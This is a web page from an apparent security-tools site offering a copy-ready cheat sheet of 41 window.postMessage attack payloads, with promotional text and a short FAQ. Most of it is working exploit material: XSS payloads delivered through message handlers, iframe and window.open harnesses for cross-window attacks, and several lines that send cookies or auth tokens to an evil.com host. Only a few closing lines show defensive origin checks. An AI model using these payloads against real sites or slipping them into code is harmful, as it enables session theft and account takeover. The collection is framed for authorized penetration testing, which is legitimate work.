window.postMessage attack payloads and PoCs for authorized testing: missing origin checks, DOM XSS sinks in message handlers, listener discovery, and cross-window exploitation. (41 payloads)
window.addEventListener('message', ...) / window.onmessage =getEventListeners(window)['message']var _add=EventTarget.prototype.addEventListener;EventTarget.prototype.addEventListener=function(t,h,o){if(t==='message')console.log('listener:',h.toString());return _add.call(this,t,h,o)}monitorEvents(window, 'message')frames.length; for(let i=0;i<frames.length;i++)console.log(i, frames[i].location?.href)window.addEventListener('message',e=>console.log('ORIGIN:',e.origin,'DATA:',e.data))Inspect .postMessage(data, '*') callswindow.addEventListener('message', e => { handle(e.data) }) // no e.origin checkif (e.origin.indexOf('trusted.com') !== -1) { ... }if (e.origin.endsWith('trusted.com')) { ... }if (/trusted\.com/.test(e.origin)) { ... }if (e.origin === 'null') { ... } // attacker triggers from sandboxed iframeif (e.origin === location.origin) { ... } // but handler also runs in an attacker-framed context// Handler trusts e.data.origin / e.data.from instead of e.originwindow.parent.postMessage('<img src=x onerror=alert(document.domain)>', '*')target.postMessage(JSON.stringify({html:'<svg onload=alert(document.cookie)>'}), '*')win.postMessage('alert(document.domain)', '*') // handler does eval(e.data)target.postMessage({callback:'fetch(`//evil.com/?c=`+document.cookie)'}, '*')target.postMessage({action:'navigate', url:'javascript:alert(document.domain)'}, '*')target.postMessage({src:'data:text/html,<script>alert(document.domain)</script>'}, '*')target.postMessage({tpl:'{{constructor.constructor(\'alert(1)\')()}}'}, '*')<iframe src="https://target.example.com/widget" onload="this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')"></iframe>var w = window.open('https://target.example.com/cb'); setTimeout(()=>w.postMessage({action:'setToken',token:'<svg onload=alert(1)>'}, '*'), 1500)<iframe sandbox="allow-scripts" src="https://target.example.com/widget" id=t></iframe><script>t.onload=()=>t.contentWindow.postMessage(PAYLOAD,'*')</script>window.opener.postMessage({cmd:'updateProfile',bio:'<img src=x onerror=fetch(`//evil/?c=`+document.cookie)>'}, '*')addEventListener('message',e=>{if(e.data&&e.data.type==='token')fetch('//evil.com/x?t='+encodeURIComponent(e.data.token))});var i=document.createElement('iframe');i.src='https://target/embed';document.body.append(i);for(let i=0;i<frames.length;i++){frames[i].postMessage(PAYLOAD,'*')}// Burp: intercept the page, inject <script>parent.postMessage(...)</script> into a controlled subframetarget.postMessage({jsonrpc:'2.0',method:'eval',params:['fetch(`//evil/?c=`+document.cookie)'],id:1}, '*')target.postMessage({method:'storage.get',key:'auth_token'}, '*'); // listen for the replytarget.postMessage({type:'config',apiBase:'https://evil.com/'}, '*')// Stored XSS in name posts: profile.bio -> rendered, then bio runs parent.postMessage(evilCmd,'*')ws.onmessage = e => top.postMessage(e.data, '*') // relay sinktarget.postMessage({event:'resize',height:9999,onComplete:'alert(document.domain)'}, '*')DOM Invader (Burp Suite) -> postMessage interceptionpostMessage-tracker / Posta (browser extension / proxy)if (e.origin !== 'https://trusted.example.com') return; // strict equality allowlistif (e.source !== expectedIframe.contentWindow) return;el.textContent = data.message; // not innerHTMLwin.postMessage(data, 'https://trusted.example.com') // explicit targetOrigin, never '*'Content-Security-Policy: frame-ancestors 'self'; + X-Frame-Options: DENYLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 41 postMessage payloads for testing postMessage Security vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the XSS Sandbox to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all postMessage payloads are completely free, with no account required. Everything runs in your browser.